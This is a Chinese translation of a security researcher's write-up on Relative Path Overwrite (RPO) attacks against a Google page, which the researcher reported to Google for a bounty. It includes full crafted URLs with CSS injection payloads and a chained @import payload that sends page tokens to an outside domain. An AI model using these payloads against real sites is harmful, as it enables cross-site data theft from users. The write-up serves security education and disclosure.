CSS RPO Gadgets
RPO Gadgets
这篇文章并不是讲述Return Oriented Programming (ROP),误入的可以点右上角的红叉了。由于我想介绍的技术是Relative Path Overwrite (RPO)的进阶课程,如果没有基础的同学可以查看original introduction by Gareth 和 a real life RPO bug in phpBB by James.
Identifying RPO
目前我们可以知道的RPO利用例子是James的PRSSI ,它依赖于CSS解析器容忍在quirks mode中的非法语法(也称为松散解析),所以查找RPO漏洞的第一步就是检查页面的是否有正确的doctype。
我找到一个目标:
http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html
<html>
<head>
<title>Google Toolbar API - Guide to Making Custom Buttons</title>
<link href="../../styles.css" rel="stylesheet" type="text/css" />
[..]
第二步涉及到服务器如何解析路径。对于浏览器来说,目录之间被“/”隔开。对于服务器来说,这并不意味着一定是目录,比如说JSP接收参数时会将“;”后的内容全部视为参数 (e.g. http://example.com/path;/notpath),这种情况下浏览器只会认为/patn;/notpath依旧是目录。
在目标中我找到可以利用RPO的地方,那里似乎有一个代理处理请求并解码路径中的内容,然后将其发送到真正的服务器。 这允许我们在路径中用%2f替换斜杠:
http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
Server:
/tools/toolbar/buttons/apis/ howto_guide.html
Browser:
/tools/toolbar/buttons/ apis%2fhowto_guide.html
Imported stylesheet:
/tools/ style.css
(加粗的表示为基本路径)
现在浏览器认为基本路径是/tools/toolbar/buttons/而不是/tools/toolbar/buttons/apis/,因此对../../style.css的引用会多跳一个目录。
我们还能伪造目录,比如我们想加载的css文件在/tools/fake/styles.css:http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html
Server:
/tools/ (fake/../抵消) toolbar/buttons/apis/ howto_guide.html
Browser:
/tools/fake/..%2ftoolbar/buttons/ apis%2fhowto_guide.html
Imported stylesheet:
/tools/fake/..%2ftoolbar/buttons/../../style.css
这里我们添加了二个虚拟目录:fake和..%2f,这样在server角度下就互相抵消了,然后浏览器认为fake和..%2ftoolbar为目录。理论上,我们可以在根目录下导入任何样式表(www.google.com/*/styles.css),不幸的是这个代理只能处理(www.google.com/tools/*/styles.css),不是tools目录中的css文件就无法导入。
除了按钮Gallery 外都是些静态元素,http://www.google.com/tools/toolbar/buttons/gallery会重定向到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1。
按钮Gallery有一个q参数,可以制作RPO的payload:http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}
效果如图所示:
现在要做的就是如何以CSS方式来加载该页面。一种方法就是重定向处理查询字符串,例如,http://www.google.com/tools/toolbar/buttons/gallery?foo=bar会将我们重定向到http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&foo=bar, 查询的字符串会附加上。
最后一步就是构造查询字符串了:http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/howto_guide.html
Server:
/tools/toolbar/buttons/ (gallery?q=%0a{}*{background:red}/../抵消) /apis/ howto_guide.html
Browser:
/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/ howto_guide.html
Imported stylesheet:
/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D /..%2f/apis/../../style.css
⇓
/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css
⇓
/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css
看成功了,满页面都是红色。我们还能使用expression(alert(document.domain)),在IE8可以成功弹窗,但是在IE9却失败了。那是因为谷歌的defense-in-depth防止按钮以css方式加载(X-Content-Type-Options:nosniff 选项来关闭IE的文档类型自动判断功能)。
突然间所有的努力都是徒劳的,因为Google漏洞奖励计划(VRP)规则清楚地表明:In particular, we exclude Internet Explorer prior to version 9
Chaining Gadgets
嗯,如果我们使用RPO窃取其他页面上的秘密呢? CSS的另一个有趣的事情是,在quirks mode下,只要它们在同一个起源,那么松散解析就适用于所有导入的样式表。这样就开启了一个新的可能性,因为我们可以使用Button Gallery作为小工具将https://www.google.com/*上的任何网页导入为样式表,如果导入的“样式表”包含隐私数据和注入点,我们可以 尝试通过注入CSS魔法来窃取它。
这样的页面要求是:
- 注入点需要在隐私数据之前
- 注入点需要允许%0a,%0c和%0d中的任何一个,以便可以从错误的状态恢复解析器状态
- 隐私数据及其周围不能包含换行符
我花了些时间找到了符合的页面:http://www.google.com/search?nord=1&q={}%0a@import”//innerht.ml?
首先要注意的是,该页面针对速度进行了优化,因此HTML被压缩过,只有少数换行符。可以看到有一些随机生成的token。 我不知道他们代表什么,但是能够窃取他们应该足以证明这次攻击确实会渗透到数据中。截图中突出显示的部分是css魔术发生的地方:我们使用@import“// innerht.ml?创建import规则,然后直到双引号的所有内容将作为受控URL的一部分使用,最后浏览器会向import“URL”发出请求,我们就可以获取到数据内容。
http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D%2540import%2527%252Fsearch%253Fnord%253D1%2526q%253D%257B%257D%25250a%2540import%252527%252F%252Finnerht.ml%253F%2522/..%2f/apis/howto_guide.html
再次向google上报:
** NOTE: This is an automatically generated email **Hello,Thank you for reporting this bug. As part of Google's Vulnerability Reward Program, the panel has decided to issue a reward of $1337.
Conclusion
我相信这应该是在实践中首次成功执行的RPO攻击。 最重要的是,我希望这篇文章可以让您深入了解RPO如何在没有XSS的情况下工作,以及如何识别RPO漏洞。
翻译出处
http://blog.innerht.ml/rpo-gadgets/
CSS RPO Gadgets相关推荐
- XSS:RPO(Relative Path Overwrite)攻击
0x00 具体原理参考: Infinite Security: (Relative Path Overwrite) RPO XSS RPO Gadgets RPO攻击 0x01 RPO攻击首先利用的是 ...
- 【Web安全笔记】之【4.0 常见漏洞攻防】
文章目录 4.0 常见漏洞攻防 4.1 SQL注入 4.1.1 注入分类 1. 简介 2. 按技巧分类 1). 盲注 2). 报错注入 3). 堆叠注入 3. 按获取数据的方式分类 1). inban ...
- 【RPO技巧拓展】————5、RPO攻击初探
RPO(Relative Path Overwrite) 攻击又称为 攻击,依赖于浏览器和网络服务器的反应, 利用服务器的Web缓存技术和配置差异. 本文中的例子利用css进行攻击,相当于利用页面中 ...
- RPO 相对路径覆盖攻击
RPO (Relative Path Overwrite) 相对路径覆盖,最早由 Gareth Heyes 在其发表的文章中提出.主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技 ...
- 【RPO技巧拓展】————3、IIS和.Net应用程序中的非根相对路径覆盖(RPO)
在这篇博文中,我将向您展示一种更好的方法来利用ASP.NET Web窗体应用程序中的非根相对路径覆盖问题.这是一个低风险漏洞,可用于将资源(如样式表)甚至动态JavaScript注入受影响的网页. 介 ...
- tailwind css_如何使用Tailwind CSS构建样式化的登陆页面
tailwind css 介绍 (Introduction) Developers use Cascading Style Sheets (CSS) to style websites. But of ...
- mysql远程rpo为0_RPO攻击
RPO攻击 最近见到几个题,了解到一种攻击方式,就是有RPO攻击 0x00概述 浏览器解析页面路径有误而导致css文件加载路径错误,从而引发的任意解析. 引子: 1.在php有些框架中会有些pathi ...
- 从Share your mind到RPO 攻击
前言 强网杯初赛已经告一段落,大佬们的wp也逐渐放出,这篇博客就从强网杯初赛web的Share your mind这题来探讨一下RPO 攻击~ 前置链接: 题目名称:Share your mind 第 ...
- RPO攻击方式的探究
什么是RPO? RPO (Relative Path Overwrite)相对路径覆盖,作为一种相对新型的攻击方式,由 Gareth Heyes在2014年首次提出,利用的是nginx服务器.配置错误 ...
最新文章
- “端午节” 送亲戚,送长辈,粽子可视化大屏来帮忙!
- 视频动态库测试及心得
- [react-router] React-Router 4的switch有什么用?
- 清华大学《操作系统》(二十二):文件系统
- python3基础知识一
- 数据库---查询操作
- SQL Server数据表提示NOLOCK和READPAST
- Vue.js刷新当前页面
- Javascript 也玩多线程
- linux 基础——常见命令及问题
- 《Effective C#》读书笔记——条目25:用事件模式实现通知使用C#表达设计
- 6-3 图片合成视频
- 思科模拟器GNS3将路由器变成交换机的方法
- 原生javascript分页 html分页与ajax数据请求结合使用 前端js分页
- 计算机添加usb网络打印机,路由器openWrt固件使用USB打印机设置电脑添加网络USB打印机方法...
- 互联网诞生记: 浪成于微澜之间
- centos 测试get请求_centos网站服务器简单性能测试命令
- python默认字体大小_如何设置PIL加载的默认字体的大小,使其适合我的8x8矩阵?...
- 计算机数学基础 周密,一位计算机牛人的心得谈计算机和数学免费.doc
- 通信之道-傅立叶分析